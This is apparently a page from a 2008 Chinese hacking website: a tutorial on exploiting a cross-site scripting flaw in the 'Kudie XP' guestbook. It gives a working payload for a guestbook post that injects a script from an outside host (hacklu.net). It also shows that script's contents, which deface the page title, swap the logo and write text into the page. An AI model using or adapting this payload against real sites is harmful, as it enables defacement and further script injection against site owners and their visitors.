黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[组图]酷蝶XP留言簿的跨站利用
      ★★★★★
酷蝶XP留言簿的跨站利用
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-1-28

直接在签写留言中写入:

以下是引用片段:
[ img]javascript:s=document.createElement("script");s.src="http://hacklu.net/test/1.js%22;document.body.appendChild(s);[/img]

如图3所示。

 先来改下标题吧,直接在1.js里填上如下内容:document.title="HackED_BY_樱花浪子",在看看标题栏,如图4所示,当然还可以改LOGO图片了,只要在JS里改成:
document.images[0].src='/Article/UploadFiles/200801/20080127230648969.gif';看看已经改成黑客手册了,图5所示。


 如果你觉得还不爽,那我们来改BODY里内容,直接在JS里写成如下内容:
以下是引用片段:
function Phish(){
info = "樱花浪子到些一游!"
document.write(info);
}
function doit(){
setTimeout("Phish()", 1000 );
}doit()

 

上一页  [1] [2] [3] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886